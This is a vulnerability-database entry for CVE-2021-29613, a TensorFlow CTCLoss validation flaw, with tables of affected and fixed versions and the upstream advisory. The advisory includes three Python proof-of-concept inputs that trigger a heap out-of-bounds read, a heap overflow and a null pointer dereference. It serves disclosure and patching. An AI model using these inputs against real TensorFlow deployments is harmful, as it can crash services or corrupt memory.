Answer in brief
CVE-2021-29613 records a Medium severity (CVSS 6.3) vulnerability in Incomplete validation in `tf.raw_ops.CTCLoss`. The current sources do not mark it as known exploited. The current feed maps tensorflow (pypi), tensorflow (pypi), tensorflow (pypi), tensorflow (pypi) and additional mapped packages. Check affected ranges and fixed versions before updating.
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The current feed maps tensorflow (pypi), tensorflow (pypi), tensorflow (pypi), tensorflow (pypi) and additional mapped packages. Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| tensorflowpypi | >=0 <2.1.4 | 2.1.4 |
| tensorflowpypi | >=2.2.0 <2.2.3 | 2.2.3 |
| tensorflowpypi | >=2.3.0 <2.3.3 | 2.3.3 |
| tensorflowpypi | >=2.4.0 <2.4.2 | 2.4.2 |
| tensorflow-cpupypi | >=0 <2.1.4 | 2.1.4 |
| tensorflow-cpupypi | >=2.2.0 <2.2.3 | 2.2.3 |
| tensorflow-cpupypi | >=2.3.0 <2.3.3 | 2.3.3 |
| tensorflow-cpupypi | >=2.4.0 <2.4.2 | 2.4.2 |
| tensorflow-gpupypi | >=0 <2.1.4 | 2.1.4 |
| tensorflow-gpupypi | >=2.2.0 <2.2.3 | 2.2.3 |
| tensorflow-gpupypi | >=2.3.0 <2.3.3 | 2.3.3 |
| tensorflow-gpupypi | >=2.4.0 <2.4.2 | 2.4.2 |
Published upstream
May 21, 2021
Evidence: source:osv:source_dates:source-dates:recordSource modified
Sep 10, 2026
Evidence: source:osv:source_dates:source-dates:recordFirst seen by HOL
Sep 10, 2026
### Impact Incomplete validation in `tf.raw_ops.CTCLoss` allows an attacker to trigger an OOB read from heap: ```python import tensorflow as tf inputs = tf.constant([], shape=[10, 16, 0], dtype=tf.float32) labels_indices = tf.constant([], shape=[8, 0], dtype=tf.int64) labels_values = tf.constant([-100] * 8, shape=[8], dtype=tf.int32) sequence_length = tf.constant([-100] * 16, shape=[16], dtype=tf.int32) tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=True, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=True) ``` An attacker can also trigger a heap buffer overflow: ```python import tensorflow as tf inputs = tf.constant([], shape=[7, 2, 0], dtype=tf.float32) labels_indices = tf.constant([-100, -100], shape=[2, 1], dtype=tf.int64) labels_values = tf.constant([-100, -100], shape=[2], dtype=tf.int32) sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32) tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=False, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=False) ``` Finally, an attacker can trigger a null pointer dereference: ```python import tensorflow as tf inputs = tf.constant([], shape=[0, 2, 11], dtype=tf.float32) labels_indices = tf.constant([], shape=[0, 2], dtype=tf.int64) labels_values = tf.constant([], shape=[0], dtype=tf.int32) sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32) tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=False, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=False) ``` ### Patches We have patched the issue in GitHub commit[14607c0707040d775e06b6817325640cb4b5864c](https://github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c) followed by GitHub commit [4504a081af71514bb1828048363e6540f797005b](https://github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b). The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
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